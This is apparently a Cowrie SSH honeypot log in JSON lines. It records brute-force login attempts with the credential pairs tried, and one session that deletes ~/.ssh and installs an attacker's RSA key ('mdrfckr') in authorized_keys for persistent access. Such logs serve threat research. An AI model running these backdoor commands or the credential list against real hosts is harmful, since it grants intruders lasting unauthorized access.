{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:25.412743Z","src_ip":"103.218.242.31","session":"3b6f616082c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:25.836227Z","src_ip":"35.240.75.51","session":"45a6bb168a89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"Runner123!","message":"login attempt [runner/Runner123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:26.310664Z","src_ip":"103.218.242.31","session":"3b6f616082c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:27.528674Z","src_ip":"103.218.242.31","session":"3b6f616082c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.92.202","src_port":57414,"dst_ip":"10.17.0.5","dst_port":22,"session":"48777ddcb974","protocol":"ssh","message":"New connection: 103.82.92.202:57414 (10.17.0.5:22) [session: 48777ddcb974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:44.885140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:44.889631Z","src_ip":"103.82.92.202","session":"48777ddcb974","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:45.130662Z","src_ip":"103.82.92.202","session":"48777ddcb974","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root!123","message":"login attempt [root/root!123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:46.125273Z","src_ip":"103.82.92.202","session":"48777ddcb974","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:46.639857Z","src_ip":"103.82.92.202","session":"48777ddcb974","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:46.643070Z","src_ip":"103.82.92.202","session":"48777ddcb974","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:46.646325Z","src_ip":"103.82.92.202","session":"48777ddcb974","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:46.891602Z","src_ip":"103.82.92.202","session":"48777ddcb974","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:47.408610Z","src_ip":"103.82.92.202","session":"48777ddcb974","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:47.411701Z","src_ip":"103.82.92.202","session":"48777ddcb974","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:47.655457Z","src_ip":"103.82.92.202","session":"48777ddcb974","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:47.658252Z","src_ip":"103.82.92.202","session":"48777ddcb974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.92.202","src_port":57420,"dst_ip":"10.17.0.5","dst_port":22,"session":"950d8e40479b","protocol":"ssh","message":"New connection: 103.82.92.202:57420 (10.17.0.5:22) [session: 950d8e40479b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:47.899971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:47.904970Z","src_ip":"103.82.92.202","session":"950d8e40479b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:48.152979Z","src_ip":"103.82.92.202","session":"950d8e40479b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:49.178019Z","src_ip":"103.82.92.202","session":"950d8e40479b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:50.428734Z","src_ip":"103.82.92.202","session":"950d8e40479b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.92.202","src_port":57426,"dst_ip":"10.17.0.5","dst_port":22,"session":"b335d1226da1","protocol":"ssh","message":"New connection: 103.82.92.202:57426 (10.17.0.5:22) [session: b335d1226da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:50.678828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:50.683372Z","src_ip":"103.82.92.202","session":"b335d1226da1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:50.931949Z","src_ip":"103.82.92.202","session":"b335d1226da1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:51.957460Z","src_ip":"103.82.92.202","session":"b335d1226da1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:52.204736Z","src_ip":"103.82.92.202","session":"48777ddcb974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:02:52.209173Z","src_ip":"103.82.92.202","session":"b335d1226da1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.183.250.100","src_port":37432,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc3ad33648ff","protocol":"ssh","message":"New connection: 51.183.250.100:37432 (10.17.0.5:22) [session: fc3ad33648ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:11.268756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:11.273437Z","src_ip":"51.183.250.100","session":"fc3ad33648ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:11.360437Z","src_ip":"51.183.250.100","session":"fc3ad33648ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stan","password":"stanpass","message":"login attempt [stan/stanpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:11.737531Z","src_ip":"51.183.250.100","session":"fc3ad33648ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:12.829011Z","src_ip":"51.183.250.100","session":"fc3ad33648ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.71.136.125","src_port":46498,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cea765c88ea","protocol":"ssh","message":"New connection: 116.71.136.125:46498 (10.17.0.5:22) [session: 6cea765c88ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:16.398696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:16.403883Z","src_ip":"116.71.136.125","session":"6cea765c88ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:16.623329Z","src_ip":"116.71.136.125","session":"6cea765c88ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"httpd","password":"httpd123!","message":"login attempt [httpd/httpd123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:17.527236Z","src_ip":"116.71.136.125","session":"6cea765c88ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:18.747818Z","src_ip":"116.71.136.125","session":"6cea765c88ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.62.152.202","src_port":62357,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa50bd50aa55","protocol":"ssh","message":"New connection: 103.62.152.202:62357 (10.17.0.5:22) [session: aa50bd50aa55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:30.864574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:30.869730Z","src_ip":"103.62.152.202","session":"aa50bd50aa55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:31.137062Z","src_ip":"103.62.152.202","session":"aa50bd50aa55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"12345678","message":"login attempt [username/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:32.240271Z","src_ip":"103.62.152.202","session":"aa50bd50aa55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:33.531858Z","src_ip":"103.62.152.202","session":"aa50bd50aa55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.125.147.88","src_port":52013,"dst_ip":"10.17.0.5","dst_port":22,"session":"35f396cc551e","protocol":"ssh","message":"New connection: 154.125.147.88:52013 (10.17.0.5:22) [session: 35f396cc551e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:37.754215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T04:03:37.758975Z","src_ip":"154.125.147.88","session":"35f396cc551e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sh